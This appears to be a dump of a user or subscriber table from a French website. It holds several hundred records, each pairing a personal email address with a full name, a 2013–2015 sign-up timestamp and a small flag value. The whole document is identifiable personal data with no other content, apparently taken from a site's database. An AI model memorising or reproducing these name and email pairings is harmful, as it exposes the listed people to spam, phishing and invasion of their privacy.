+4801;boubaayaodile@yahoo.fr;2015-01-25 10:07:49;boubaaya;odile;1 +275;boucaudmarielouise@gmail.com;2013-10-13 17:03:10;boucaud;marie louise;1 +4072;boucherat.roxane@gmail.com;2014-11-17 19:27:45;Boucherat;Roxane;1 +3932;bouffautelodie@gmail.com;2014-11-06 23:16:16;BOUFFAUT;Elodie;1 +4538;Bouget.sk@wanadoo.fr;2014-12-19 18:47:44;Bouget;Karine;1 +1130;bourdonchristophe9@gmail.com;2014-02-06 20:41:06;bourdon;céline;2 +4600;bourgoin.virginie@gmail.com;2014-12-29 09:45:32;Bourgoin;Virginie;1 +1354;Bout.a@hotmail.fr;2014-03-14 16:47:29;BOUTABA;Sabrine;1 +4868;bouteillermc@orange.fr;2015-01-31 18:02:40;BOUTEILLER;MARIE CHRISTINE;1 +2671;brekalabdouni@yahoo.fr;2014-06-26 19:00:19;LABDOUNI;BREKA;1 +1322;briattebd@free.fr;2014-03-10 09:23:06;briatte;dominique;1 +3590;brigdi92@yahoo.fr;2014-10-13 18:03:53;Brochard;Brigitte;1 +953;brigitte.chapeau@hotmail.fr;2014-01-18 23:06:27;Chapeau;Brigitte;1 +4696;brigitte.delquie@orange.fr;2015-01-11 22:31:08;delquié;brigitte;1 +655;brigitte.ghysels@laposte.net;2013-12-06 21:28:12;GHYSELS;BRIGITTE;1 +1373;brigitte.horvat@gmail.com;2014-03-16 18:51:34;horvat;brigitte;1 +1054;brigitte.jordan@free.fr;2014-01-30 13:05:49;jordan;brigitte;2 +706;brigitte.vidongeni@gmail.com;2013-12-13 20:58:22;vidon-geni;Brigitte;1 +4090;brigittebarbe@caramail.fr;2014-11-18 19:07:46;barbe;brigitte;1 +1977;brigittebessin@orange.fr;2014-05-02 09:46:09;BESSIN;BRIGITTE;1 +3974;brigitteg@hotmail.fr;2014-11-09 23:06:59;GINESTEL;BRIGITTE;1 +3345;brigittescannella@hotmail.fr;2014-09-17 19:35:20;SCANNELLA;BRIGITTE;1 +181;brionlaurence@gmail.com;2013-09-25 19:03:27;BRION;LAURENCE;1 +399;brubruno69@aol.com;2013-11-02 10:02:50;BRUSSA;Martine;1 +4786;brunetmarine4@gmail.com;2015-01-24 01:28:11;BRUNET;Marine;1 +4490;bruno.delamarre@orange.fr;2014-12-15 21:39:14;DELAMARRE;Bruno;1 +2302;bruno.falco@orange.fr;2014-05-26 09:02:20;falco;Wina;1 +1677;bruno.joelle@sfr.fr;2014-04-14 10:48:25;BRUNO;Joëlle;1 +4131;buchercel@gmail.com;2014-11-21 23:28:32;BUCHER;Céline;1 +2392;budhabay@hotmail.fr;2014-06-01 21:13:02;ollivier;elise;1 +4059;buffard.sylviane@orange.fr;2014-11-16 22:29:43;JAGUENEAU -BUFFARD;SYLVIANE;1 +2805;burlet.bernadette@gmail.com;2014-07-09 19:45:39;BURLET;bernadette;1 +3899;burlottebrigitte@hotmail.fr;2014-11-04 15:30:09;Geneste;Brigitte;1 +2038;bushidojo92@gmail.com;2014-05-05 14:34:23;MENORET;VALERIE;1 +1661;buzz.mi@free.fr;2014-04-13 17:16:04;MICHEL;Pascale;1 +1237;bweber1@pt.lu;2014-02-26 23:47:58;Weber;Brigitte;1 +6;c-allibert@garancia-beauty.com;2014-05-15 14:44:20;Allibert;Clémentine ;1 +1242;c-girard@wanadoo.fr;2014-02-27 17:41:27;Girard;Chantal;1 +542;c.balancie@orange.fr;2013-11-22 22:48:31;Balancie;Carole;1 +78;c.chamarty@actes-sud.fr;2013-09-01 19:02:42;Chamarty;Cathy;1 +1055;c.crepoux@hotmail.fr;2014-01-30 13:31:49;CREPOUX;Chrisitne;1 +18;c.desveaud@gmail.com;2013-07-26 10:30:56;DESVEAUD;Céline;1 +4745;c.doerflinger67@gmail.com;2015-01-19 13:14:53;DOERFLINGER;CECILE;1 +4096;c.ibanez6075@yahoo.fr;2014-11-19 07:27:44;Ibanez;Catherine;1 +1216;c.lebeurre123@orange.fr;2014-02-23 15:34:44;lebeurre;corinne;1 +2453;c.monz@aliceadsl.fr;2014-06-05 14:03:30;MONZIOLS;Corinne;1 +4043;c.nini@live.fr;2014-11-16 05:33:15;Mallié ;Raphaël;1 +1796;c.valerie59@hotmail.fr;2014-04-22 20:29:30;cieslak;Valerie;1 +2845;ca.chauvel@orange.fr;2014-07-15 21:29:42;LE HEN;CAROLINE;1 +3317;ca.wurmlinger@gmail.com;2014-09-14 00:13:13;WURMLINGER;CAROLE;1 +4153;cadinot_marie@yahoo.fr;2014-11-23 19:00:26;cadinot;marie;1 +2379;cadoret.christelle@orange.fr;2014-05-31 15:16:16;Cadoret;Christelle;1 +3944;caflopada@orange.fr;2014-11-07 13:20:31;Alex-Plessier;cecile;1 +2029;cafou_fr2000@yahoo.fr;2014-05-04 21:42:21;hubert;isabelle;1 +993;Cailler.Magalie@orange.fr;2014-01-24 11:09:26;Cailler;Magalie;1 +772;cakofrui@hotmail.com;2013-12-20 10:50:09;Planche;Cecile;1 +2113;calvezc@aol.com;2014-05-11 14:28:27;Calvez;Christine;1 +141;camil22@hotmail.fr;2013-09-18 10:52:55;Loucif;Camille;1 +2359;camillou51_3@hotmail.com;2014-05-29 19:56:36;Gauthe ;Camille;1 +2880;campagnenicole@yahoo.fr;2014-07-20 11:22:33;van brockhoven;Nicole;1 +4048;canabee@free.fr;2014-11-16 12:17:21;JACQUES;Virginie;1 +2421;canayann@orange.fr;2014-06-03 12:06:19;ANDRES;Sylvie;1 +3936;cancan1989@gmail.com;2014-11-07 06:47:39;Zhu;Can;1 +3122;candyce30@yahoo.fr;2014-08-23 17:34:38;montout;candice;1 +1424;cap.marie@gmail.com;2014-03-23 08:26:53;Costa;Marie;1 +3743;CAP.VIRGINIE@SFR.FR;2014-10-27 11:42:10;cappellin;virginie;1 +3833;carambina@hotmail.fr;2014-11-02 15:00:13;roussel;chantal;1 +1102;carbie810@aol.com;2014-02-03 14:47:00;CARBALLO;Jessica;1 +1026;Carine.noaro@gmail.com;2014-01-27 19:50:08;Noaro;Carine;1 +3057;Carine.rizzi@sfr.fr;2014-08-11 23:19:19;Rizzi;Carine;1 +3800;carine.theobald@sfr.fr;2014-10-31 08:24:32;THEOBALD;Carine;1 +4303;carinefourquet@gmail.com;2014-12-05 14:21:05;FOURQUET;CARINE;1 +2006;carineguerrero@yahoo.fr;2014-05-03 16:29:47;GUERRERO;carine;1 +2732;carinne.dufour@gmail.com;2014-07-02 17:59:30;dufour ;carinne;1 +2758;carladilotti@msn.com;2014-07-05 19:59:14;CAMBILLAU;JOCELYNE;1 +3475;carlanni@hotmail.fr;2014-10-01 10:11:15;Brigantino;Annick;1 +4047;carmecompt@orange.fr;2014-11-16 11:29:44;RABAEY;PHILIPPE;1 +1414;caro.tenza65@orange.fr;2014-04-06 17:20:24;TENZA;Carole;1 +3702;caro6734@gmail.com;2014-10-23 14:23:41;BERTRAND;Caroline;1 +4724;carol.taurines0970@orange.fr;2015-01-16 09:51:23;TAURINES;Carol;1 +4447;carole.becquerelle@orange.fr;2014-12-13 20:03:17;BECQUERELLE;Carole;1 +290;carole.couzinou@bbox.fr;2013-10-15 17:55:18;COUZINOU;CAROLE;1 +4797;carole.lufau@gmail.com;2015-01-24 19:08:29;LUFAU;Carole;1 +1815;carole.roche@sfr.fr;2014-04-23 19:12:34;ROCHE;Carole ;1 +962;carole0034@hotmail.fr;2014-01-20 14:23:55;fougeron;carole;1 +2204;carolebouillon@yahoo.fr;2014-05-18 19:07:39;bouillon;carole;1 +288;carolecasanova@yahoo.fr;2013-10-15 10:56:00;Lefrançois ;Carole;1 +3068;Carolecoy@gmail.com;2014-08-13 21:48:58;Coy;Carole;1 +367;carolelarriere@hotmail.com;2013-10-28 14:10:04;Larriere;Carole;1 +928;caroline.briantais@orange.fr;2014-01-14 22:47:02;BRIANTAIS;Caroline;1 +3222;caroline.chenot@chenot.com;2014-09-04 15:36:38;chenot;caroline;2 +4950;caroline.derodit@aliceadsl.fr;2015-02-07 21:49:14;derodit;caroline;1 +4509;caroline.koella@bluewin.ch;2014-12-17 13:12:53;koella;caroline;1 +2870;caroline.philipp3@orange.fr;2014-07-19 02:16:31;PHILIPPE;caroline;1 +114;caroline56.bacchetta@orange.fr;2013-09-12 10:17:24;BACCHETTA;Caroline;1 +208;caroline66@ebuyclub.com;2013-09-28 17:47:03;lannier;caroline;1 +2052;carolineboureau@voila.fr;2014-05-06 10:14:57;boureau-fournier;caroline;1 +4638;carolinecanivet@aol.com;2015-01-03 19:24:50;Canivet;Caroline;1 +1589;carolineepivent@yahoo.fr;2014-04-08 11:07:55;EPIVENT;CAROLINE;1 +4266;carolinemenuge@gmail.com;2014-12-02 13:01:39;MENUGE;Caroline;1 +2859;carolinepons@orange.fr;2014-07-17 23:08:18;PONS;Caroline;1 +544;carolinetagliante@gmail.fr;2013-11-23 10:10:50;tagliante;caroline;1 +5019;Carrie990@hotmail.com;2015-02-12 18:01:11;Zheng;Ao;2 +2840;cat.renard@free.fr;2014-07-15 07:10:16;Renard;Catherine;1 +4986;catchbh@orange.fr;2015-02-10 10:45:17;BODIN-HULLIN;Catherine;1 +3787;catdevoucoux@yahoo.fr;2014-10-30 07:31:04;papazian;catherine;1 +1567;catherine.bardou@wanadoo.fr;2014-04-06 14:13:37;BARDOU;CATHERINE;1 +1461;catherine.carrilho@laposte.net;2014-03-26 21:23:06;CARRILHO;Catherine;1 +1459;catherine.carrilho@mpsa.com;2014-03-26 19:33:08;CARRILHO;Catherine;1 +3700;catherine.cheminal@wanadoo.fr;2014-10-23 11:18:54;cheminal;catherine;1 +5024;catherine.fp@free.fr;2015-02-12 23:45:55;FALEMPIN ;Catherine ;1 +1808;catherine.gut@gmail.com;2014-04-23 14:56:51;GUTLEBEN;Catherine;1 +489;catherine.juliette@wanadoo.fr;2013-11-14 15:43:31;ansart;catherine;1 +1390;catherine.pohardy@gmail.com;2014-03-19 13:58:20;pohardy;catherine;1 +1522;catherine.recorbet@laposte.net;2014-04-01 11:26:45;RECORBET;CATHERINE;1 +903;CATHERINE.ROCHET@HOTMAIL.COM;2014-01-11 10:42:53;ROCHET;CATHERINE;1 +2211;catherine.vincent02@orange.fr;2014-05-19 14:40:27;rouchon;catherine;1 +3763;catherinehecquet@wanadoo.fr;2014-10-28 14:17:17;Hecquet;Catherine;1 +4118;catherineviola@hotmail.fr;2014-11-20 16:10:22;viola;catherine;1 +2242;cathie.boyer@free.fr;2014-05-21 17:47:17;FRATICELLI;Catherine;1 +730;cathy.jerrycanal@gmail.com;2013-12-16 00:08:41;CANAL;Catherine;1 +4869;cathy.puchot@dbmail.com;2015-01-31 18:29:43;puchot;cathy;1 +710;cathy.stoppin@neuf.fr;2013-12-14 08:44:59;stoppin;cathy;1 +2419;cathy26007@hotmail.fr;2014-06-03 08:06:46;blanc;cathy;1 +2797;cathysulcas@gmail.com;2014-07-09 10:42:24;SULCAS;CATHERINE;1 +1296;cathyth@free.fr;2014-03-06 13:35:54;PICHOT;Catherine;1 +3253;catiamendes@hotmail.fr;2014-09-08 23:31:07;mendes;Catia;1 +4636;caty.roussel@free.fr;2015-01-03 14:29:29;ROUSSEL;Catherine;1 +1762;caudronfreda@hotmail.fr;2014-04-20 23:02:38;caudron;freda;1 +4679;cbacila@yahoo.com;2015-01-09 07:22:55;Bacila;Cristina;2 +4735;cbaylard@gmail.com;2015-01-17 14:07:20;BAYLARD;Caroline;1 +385;ccilegiandomenico@yahoo.fr;2013-10-30 16:38:07;GIANDOMENICO;Cécile;1 +1923;cclouzeau@gmail.com;2014-04-30 19:08:57;CLOUZEAU;célia;1 +1104;cdevfrbgt@live.fr;2014-02-03 18:13:21;marcher;sandra;1 +3295;cecile.alazet@laposte.net;2014-09-11 19:33:29;Alazet;Cécile;1 +1131;cecile.gaie@lfproduction.fr;2014-02-06 23:08:14;Rabin;Cecile;1 +4984;cecile.laurain@hotmail.fr;2015-02-09 23:17:08;laurain;cecile;1 +1800;cecile.riviere33190@hotmail.fr;2014-04-23 09:58:11;riviere;cecile;1 +671;Cecile@thepep.net;2013-12-09 21:05:45;Prost;Cecile;1 +1324;cecilebrocard75@gmail.com;2014-03-10 12:43:45;Brocard;Cecile;1 +2375;cecilecourtois@yahoo.fr;2014-05-31 10:57:43;Courtois;Cécile;1 +1573;ceciledecaux85@gmail.com;2014-04-06 21:21:37;decaux;cécile;1 +1288;ceciledurand75@gmail.com;2014-03-05 07:56:14;durand;cecile;1 +3861;cecilehugonnet@orange.fr;2014-11-03 16:48:30;HUGONNET;Cecile;1 +4419;Ceciletravers@hotmail.com;2014-12-11 23:27:54;Travers;Cecile;1 +717;cedric.balmot@gmail.com;2013-12-14 17:57:01;Balmot;Cédric;1 +4192;cedric.sutty@gmail.com;2014-11-27 01:46:31;Villeronce;Renée;1 +751;cedric.vasse@orange.fr;2013-12-17 20:16:48;ducatillon;marie laure;1 +3927;celen.nathalie@orange.fr;2014-11-06 16:29:49;CELEN;NATHALIE;1 +950;celestine.d@hotmail.fr;2014-01-18 17:21:57;Duquesnoy;Célestine;1 +958;celia.giannuzzi@yahoo.fr;2014-01-19 22:45:33;GIANNUZZI;CELIA;1 +3545;celiaa@windowslive.com;2014-10-08 12:01:23;guinchard;celia;1 +1732;celine-ferrandi@wanadoo.fr;2014-04-17 18:32:12;Ferrandi;Céline ;1 +2166;celine-rabet@hotmail.fr;2014-05-15 00:13:57;RABET;Celine;1 +476;celine-v.lopes@laposte.net;2013-11-12 21:05:38;Perrin;Celine;1 +628;celine.celine@free.fr;2013-12-04 09:51:45;LOPES;Céline;1 +1598;celine.coduri@orange.fr;2014-04-08 16:12:32;CODURI;Céline;1 +2212;celine.florens@orange.fr;2014-05-19 14:48:44;florens;celine;1 +2458;celine.fontaine21@sfr.fr;2014-06-05 22:07:12;FONTAINE;Céline;1 +2679;celine.level@gmail.com;2014-06-27 13:37:07;level;celine;1 +3294;celine.siegfried@wanadoo.fr;2014-09-11 18:04:49;siegfried;katia;1 +2980;celinebonnefoy@orange.fr;2014-08-01 11:54:06;donjon;céline;1 +443;celinep189@gmail.com;2013-11-08 18:59:47;Pichon;celine;1 +2239;celinepique@gmail.com;2014-05-21 12:09:17;pique;celine;1 +1572;celineriou2909@gmail.com;2014-04-06 20:51:52;Riou;Céline;1 +646;celine_corne@yahoo.fr;2013-12-05 12:32:22;CORNE;Céline;1 +3540;celine_errante@hotmail.fr;2014-10-07 22:23:29;ERRANTE;CELINE;1 +2082;cendredelune78@hotmail.fr;2014-05-08 17:53:34;PILOT;Barbara;1 +3493;cendrine.pers@gmail.com;2014-10-03 09:53:29;PERS;Cendrine;1 +3167;cereg@hotmail.fr;2014-08-27 16:56:05;CEREGHINO-CHOUQUET;Jocelyne;1 +2724;cgoubault@neuf.fr;2014-07-01 20:37:17;Goubault;Cara;1 +380;cgvaldarbons@gmail.com;2013-10-29 21:52:44;genin;christine;1 +762;cha.platane@gmail.com;2013-12-18 19:22:12;Lepiez;Charlotte;1 +11;chadelas.agathe@gmail.com;2013-07-12 15:33:52;CHADELAS;Agathe;1 +985;chanchancart@hotmail.fr;2014-01-23 10:18:05;CARTEAUD;CHANTAL;1 +1481;chandramoon.sa@gmail.com;2014-03-28 19:38:20;agrech;sandra;1 +1387;chantal.delseries@orange.fr;2014-03-19 11:47:10;DELSERIES;CHANTAL;1 +3961;chantal.devaux6@orange.fr;2014-11-08 19:20:11;devaux;Chantal;1 +4682;chantal.jourdain@cegetel.net;2015-01-09 20:19:19;JOURDAIN;Chantal;1 +2117;chantalcoiff2000@hotmail.fr;2014-05-11 19:43:34;tauzin;chantal;1 +2013;chantalfa@wanadoo.fr;2014-05-04 09:44:35;fabre;Chantal;1 +2371;chantalfetique@sfr.fr;2014-05-30 20:08:07;Fetique;Chantal;1 +3823;chantalparadeis@hotmail.fr;2014-11-01 20:43:36;Paradeis;Chantal;1 +1525;charasse.agnes@sfr.fr;2014-04-01 15:24:07;charasse;agnès;1 +307;charleneee@hotmail.fr;2013-10-18 17:27:05;maillefer;charlene;1 +4420;charles.philippe58@orange.fr;2014-12-11 23:54:00;BOURGOUIN;Ann;1 +1929;charline-picard@orange.fr;2014-04-30 23:20:22;picard;charline;1 +3064;charline.robert@essec.edu;2014-08-13 14:01:51;ROBERT;Charline;1 +2367;charlotte.cougnaud@orange.fr;2014-05-30 12:08:39;Cougnaud;Charlotte;1 +2856;charlotte.debroglie@gmail.com;2014-07-17 16:10:01;de broglie;charlotte;1 +366;charlotte.fichot@orange.fr;2013-10-28 12:24:24;fichot;charlotte;1 +1223;charlotte.foissy@gmail.com;2014-02-24 11:36:36;Foissy;Charlotte;1 +1105;Charlotte.secher@hotmail.fr;2014-03-20 10:11:00;Secher;Charlotte;1 +3360;charoarguello@procoluide.com;2014-09-19 08:31:11;Charo ;ARGUELLO;1 +3189;charraux@ebuyclub.com;2014-08-30 16:35:16;PEREIRAS;Elsa;1 +3224;chateaumerlin@gmail.com;2014-09-04 16:07:05;DUVAL-LAIGRON;Claude;1 +948;chauveau.francine@orange.fr;2014-01-18 15:23:23;CHAUVEAU;FRANCINE;1 +929;cherpin.sandrine@wanadoo.fr;2014-01-15 07:41:07;cherpin;sandrine;1 +2496;chevaliergh@orange.fr;2014-06-09 13:18:55;chevalier;ghislaine;1 +2327;Chevry.justine@gmail.com;2014-05-27 21:38:15;Chevry;Justine;1 +2771;chewing@live.fr;2014-07-07 13:13:23;gautier;carole;1 +2604;chibrac.laetitia@orange.fr;2014-06-19 15:41:23;pestana de ponte;laetitia;1 +101;chipinette58@laposte.net;2013-09-09 13:15:07;GAUDRY;Edwige;1 +1228;chloe.lazaro@gmail.com;2014-02-24 21:55:56;Lazaro;Chloé;1 +699;chloebarbut@live.fr;2013-12-13 13:40:20;barbut ;chloe ;1 +4611;chloedesiree@hotmail.fr;2014-12-31 10:07:51;COASNE;NICOLE;1 +3375;chmielewski.danielle@yahoo.fr;2014-09-20 10:53:05;CHMIELEWSKI;DANIELLE;1 +194;chocoprincesse78@sfr.fr;2013-09-26 22:24:51;goujon;Virginie ;1 +1476;choquet.pascal@orange.fr;2014-03-28 10:42:23;choquet;Manuelle;1 +3221;chouchoucel@hotmail.fr;2014-09-04 14:49:04;lemaitre;céline;1 +2293;chri.sterhen@orange.fr;2014-05-25 12:19:48;henaff;christine;1 +1186;chris.lamoureux1@orange.fr;2014-02-17 19:10:05;Lamoureux;Christine;1 +2733;chrisevan66@hotmail.fr;2014-07-02 18:55:19;rodriguez;christelle;1 +1864;chrispommier@wanadoo.fr;2014-04-27 11:16:16;POMMIER;MONIQUE;1 +3806;christel.ges@hotmail.fr;2014-10-31 14:48:04;gesquiere;christel;1 +62;christelle-poulain@bbox.fr;2013-08-25 09:50:43;defoin;christelle;1 +3786;christelle.billieras@laposte.net;2014-10-29 20:14:51;BILLIERAS;Christelle;1 +4157;christelle.leandri@orange.fr;2014-11-24 19:08:49;Leandri;Christelle;1 +4028;christian.bertrand18@wanadoo.fr;2014-11-15 11:55:49;bertrand;francine;1 +3939;christian.le-ny@orange.fr;2014-11-07 11:00:55;LE NY;marie-thérèse;1 +2380;christian.leonhard@orange.fr;2014-06-01 11:01:44;leonhard;christian;1 +1488;christian.smagghe@gmail.com;2014-03-29 21:52:48;smagghe;michele;1 +1750;christiane.calvel@orange.fr;2014-04-19 08:51:14;Calvel;Christiane;1 +1427;christiane.CF56@gmail.com;2014-03-23 16:32:45;fogliazza;christiane;1 +2382;christiane.heriau@sfr.fr;2014-06-01 11:46:57;heriau;Christiane;1 +1772;christiane.perrier53@free.fr;2014-04-21 14:29:14;perrier;christiane;1 +3580;christine.deconihout@club-internet.fr;2014-10-12 22:47:17;deconihout;christine ;1 +4576;Christine.donval@orange.fr;2014-12-25 15:45:45;Donval;Christine;1 +3817;christine.laranjeira@laposte.net;2014-11-01 13:21:30;LARANJEIRA;CHRISTINE;1 +2628;christine.lemelin@free.fr;2014-06-22 06:52:18;LEMELIN;CHRISTINE;1 +4226;christine.ligneres@bbox.fr;2014-11-30 06:55:04;LIGNERES;CHRISTINE;1 +3297;christine.ludes@laposte.net;2014-09-11 21:26:51;ludes;christine;1 +2586;christine.pilard@live.fr;2014-06-17 17:51:17;Pilard;Christine;1 +1834;christine1212@hotmail.fr;2014-04-25 11:26:50;DHO;Christine;1 +3866;christine@perruchon.com;2014-11-03 17:19:08;PERRUCHON;Christine;1 +2139;christinebarberet@sfr.fr;2014-05-13 12:48:12;Barberet;Christine;1 +3655;christinecoudeyras@hotmail.fr;2014-10-19 12:26:11;coudeyras;christine;1 +3781;christinedominguez@sfr.fr;2014-10-29 17:14:10;dominguez;christine;1 +413;christinethevenot@sfr.fr;2013-11-14 20:01:58;THEVENOT;Christine;1 +3496;christine_terrier@orange.fr;2014-10-03 13:27:51;TERRIER;CHRISTINE;1 +1981;christophe.daguerre@neuf.fr;2014-05-02 13:51:21;DAGUERRE;sabine;1 +3599;christophe.martine.andre83@orange.fr;2014-10-14 11:12:00;ANDRE;Martine;1 +1167;christophearcher@sfr.fr;2014-02-12 20:54:38;archer;stephanie;1 +2280;cianif@yahoo.fr;2014-05-24 11:23:04;Reynaud;Alain;1 +654;ciccone.maddalena@orange.fr;2013-12-06 19:45:23;ciccone;maddalena;1 +882;cisneslavo@gmail.com;2014-01-07 21:16:34;Dana;Bogutskaya;1 +3433;cl-k@live.fr;2014-09-28 13:47:34;KOWALSKI;Claire;1 +4959;claire.lambourg@wanadoo.fr;2015-02-08 11:15:36;Lambourg;Claire;1 +827;claire.mortagne@gmail.com;2013-12-29 15:46:46;mortagne;claire;1 +3652;claire.sauce93@gmail.com;2014-10-19 10:44:17;sauce;claire;1 +1069;clairedebeaune@yahoo.fr;2014-01-31 21:01:48;loubaresse;claire;1 +1736;clairouss77@yahoo.fr;2014-04-18 01:46:46;Lapouge;Claire;1 +93;clarabourguignon@gmail.com;2013-09-05 23:12:32;Bourguignon;Clara;1 +3328;claracali@hotmail.fr;2014-09-15 16:55:14;CHRISTOPHE;CLARA;1 +3411;clarahoffer28@gmail.com;2014-09-24 11:13:33;hoffer;clara;1 +2937;claraperxachs@gmail.com;2014-07-27 18:12:37;Perxachs;Clara;1 +2752;clare_zx@yahoo.com;2014-07-04 21:26:07;Zhao;Xin;2 +2972;claritalocussol@yahoo.fr;2014-07-30 19:58:31;LOCUSSOL;Clara;1 +2157;clau.filliatre@yahoo.fr;2014-05-14 16:37:54;FILLIATRE;Claudine;1 +2612;claude-bontemps@bbox.fr;2014-06-20 13:43:16;Bontemps;Marie-Claude;1 +3914;claudietrey@gmail.com;2014-11-05 16:08:29;trey;claudie;1 +1320;claudine.baux0746@orange.fr;2014-03-09 19:02:28;baux;claudine;1 +4155;claudine.boucher75@orange.fr;2014-11-24 10:31:35;boucher;claudine;1 +2696;claudine.groslambert@orange.fr;2014-06-29 10:13:20;groslambert;claudine;1 +2311;claudine.monteil@orange.fr;2014-05-26 15:39:08;monteil;claudine;1 +2872;claudine.paranthoen@yahoo.fr;2014-07-19 10:50:54;Paranthoen;Claudine;1 +3508;claudine.roussel.1@cegetel.net;2014-10-04 18:08:12;ROUSSEL;CLAUDINE;1 +96;clementine.castex@gmail.com;2013-09-07 09:00:26;jouve;clémentine;1 +536;clementine@allibert.org;2015-02-09 16:10:13;Allibert;Clémence;1 +4848;clenge@hotmail.fr;2015-01-28 22:37:03;ENGELBRECHT;CLAUDINE;1 +4279;clo.lecat@orange.fr;2014-12-03 13:17:19;Lecat;Bernard;1 +1715;cloarec.alain0756@orange.fr;2014-04-16 21:51:19;cloarec;marie Hélène;1 +4205;closdesabeilles@hotmail.fr;2014-11-28 09:36:41;Boutellier;Christine;1 +273;clo_new@hotmail.com;2013-10-12 16:06:59;jaquenod;claudine;1 +3380;cluzeaux.philippe@neuf.fr;2014-09-20 17:07:03;CLUZEAUX;nathalie;1 +1470;cnivault@gmail.com;2014-03-27 19:39:12;boely;claire;1 +2682;coco.c39@orange.fr;2014-06-27 16:29:11;CORDIER;colette;1 +1681;coco12_6_69@yahoo.fr;2014-04-14 15:16:28;AMAURIN;CORINNE;1 +877;cocofroi@hotmail.fr;2014-01-07 09:40:21;froissart;corinne;1 +3726;colette.braconnier@free.fr;2014-10-26 10:47:13;BRACONNIER;Colette;1 +3678;colibry.nora@hotmail.fr;2014-10-21 00:28:38;Augier;Nora;1 +2469;collecmini@aliceadsl.fr;2014-06-07 18:11:09;JACQ;Monique;1 +1907;collyne.legrand@hotmail.fr;2014-04-29 23:10:12;legrand;yllen;1 +163;colombet.franck@wanadoo.fr;2013-09-23 09:58:29;colombet;Caroline;1 +2264;comak@hotmail.fr;2014-05-22 22:35:20;Pors;Marie;1 +3088;Concerto-mela@hotmail.com;2014-08-16 16:32:04;Diego-Vidale ;Melanie;1 +4122;contact@fabyzen.com;2014-11-20 23:04:27;derrien;fabienne;1 +387;contact@ixi-europe.com;2013-10-30 17:17:52;DACQUAY;SYLVIE;1 +1948;Convertini_ch@hotmail.com;2014-05-01 12:03:36;Convertini ;Chloé ;1 +4665;coppel.c@hotmail.fr;2015-01-07 20:28:36;coppel;cyrielle;1 +4368;coquelicot62410@hotmail.fr;2014-12-09 11:11:55;dubois;corinne;1 +1346;cora3zzz@gmail.com;2014-03-13 12:44:51;MONNOT;CORALIE;1 +1816;Coralie.quinet@outlook.be;2014-04-23 21:58:26;QUINET;CORALIE;1 +3844;coraliine.obin@live.fr;2014-11-02 22:40:27;obin;coraline;1 +4622;corallinger@gmail.com;2015-01-01 23:35:54;Allinger;Corinne;1 +2651;corinechei@aol.com;2014-06-24 16:38:55;amet;corine;1 +2701;corinne.demongodin@voila.fr;2014-06-29 19:36:58;demongodin;corinne;1 +108;corinne.derkaoui@gmail.com;2013-09-11 17:59:19;DERKAOUI;Corinne;1 +4547;corinne.infante@wanadoo.fr;2014-12-21 06:05:06;INFANTE;Corinne;1 +1881;corinne.pinezic@hotmail.fr;2014-04-28 09:46:01;Pinezic;Corinne;1 +4385;corinne.rucart@hotmail.fr;2014-12-10 13:57:20;Rucart;Corinne;1 +2714;corinne.verdin@bluewin.ch;2014-06-30 19:21:19;Verdin Dargaud;Corinne;1 +4726;corinneamiez@hotmail.com;2015-01-16 12:21:18;amiez;corinne;1 +1107;corinneb29@live.fr;2014-02-04 11:02:06;bodremon;corinne;1 +3097;corinnecort@acm.org;2014-08-17 19:17:21;Cort;Corinne;1 +3492;corinne_b@skynet.be;2014-10-03 08:56:14;Boisdenghien;Corinne;1 +4767;cornet716@hotmail.fr;2015-01-21 23:03:20;cornet;severine;1 +372;coste.yerres@wanadoo.fr;2013-10-29 12:00:30;coste;marie-claire;1 +431;cottegigi@free.fr;2013-11-07 20:28:38;COTTE;Ghislaine;1 +919;coulerot.isabelle@orange.fr;2014-01-12 23:05:38;coulerot;isabelle;1 +1951;coyote479@hotmail.fr;2014-05-01 13:21:25;Vallez;Fanny;1 +2195;co_sevenier@hotmail.com;2014-05-17 16:09:23;Sevenier;Corinne;1 +3434;cracotte.j@hotmail.fr;2014-09-28 14:36:21;CARLI;jennifer;1 +3066;crea-morphose@orange.fr;2014-08-13 20:15:12;F;Elisabeth;1 +4805;crepinmarina@gmail.com;2015-01-25 16:26:56;CREPIN;MARINA;1 +3747;crepinste@orange.fr;2014-10-27 13:32:25;crepin;Stéphanie ;1 +3617;crinounou@gmail.com;2014-10-16 01:03:35;doisne;christiane;1 +1568;cristina.asia.lovers@hotmail.it;2014-04-06 14:34:52;CRISTINA;CERINZA;1 +1966;crolet.cidji@gmail.com;2014-05-01 19:38:33;CROLET;Cidji;1 +1442;croquignolet@voila.fr;2014-03-25 09:52:26;DELCROS;Marie-Claude;1 +2915;crozatier.famille@orange.fr;2014-07-24 19:40:19;Crozatier;Françoise;1 +3704;cruchetvalerie@gmail.com;2014-10-23 17:02:55;CRUCHET;Valérie;1 +3535;crusetvignoblesdefra@free.fr;2014-10-07 11:00:36;ALLIONE;Brigitte;1 +4194;ctudorica@gmail.com;2014-11-27 11:43:43;Tudorica;Carmen;1 +4856;cucallum@msn.com;2015-01-30 06:56:45;Patricia ;Díez ;1 +1666;cvinandy@aliceadsl.fr;2014-04-13 19:01:00;vinandy;christine;1 +3925;cybille7@hotmail.fr;2014-11-06 13:28:17;Gueusquin;Nathalie;1 +3643;Cynthia.caminade@wanadoo.fr;2014-10-18 14:37:59;Caminade;Cynthia;1 +2898;cyrielle.giraud@hotmail.fr;2014-07-22 18:18:48;GIRAUD;Cyrielle;1 +1719;cyrillegina@wanadoo.fr;2014-04-17 03:20:38;CYRILLE;Gina;1 +1837;cyrius84@orange.fr;2014-04-25 14:00:31;SICARD;SANDRINE;1 +3552;cysanmana@hotmail.fr;2014-10-09 16:58:52;GRAND;sandrine;1 +4352;d.m.francois@orange.fr;2014-12-08 09:51:12;francois;martine;1 +1962;d.nicollet@free.fr;2014-05-01 18:47:25;nicollet;dominique;1 +2389;dahlia_toussaint@hotmail.com;2014-06-01 16:45:22;Toussaint;Dahlia;1 +1887;Dajna80@mail.ru;2014-04-28 14:28:40;Giulia;Nikitina;1 +3842;dalenda1@free.fr;2014-11-02 20:14:22;ABDERAHIM;DALENDA;1 +3412;damstan@cegetel.net;2014-09-24 12:56:26;STANCHINA;Damienne;1 +1239;dam_cathy_lucas@hotmail.fr;2014-02-27 09:57:45;LEBON;EMILIE;1 +4125;dandileite@yahoo.com.br;2014-11-21 10:25:11;Danielle;Leite;1 +4323;danie88@hotmail.fr;2014-12-06 12:01:58;steimer;danie;1 +287;daniel.pruvot@orange.fr;2013-10-15 07:07:23;PRUVOT;DANIEL;1 +748;daniela23@ebuyclub.com;2013-12-17 16:52:27;BLONDEL;Daniele;1 +4544;danielejouani@gmail.com;2014-12-20 18:01:36;jouani;danièle;1 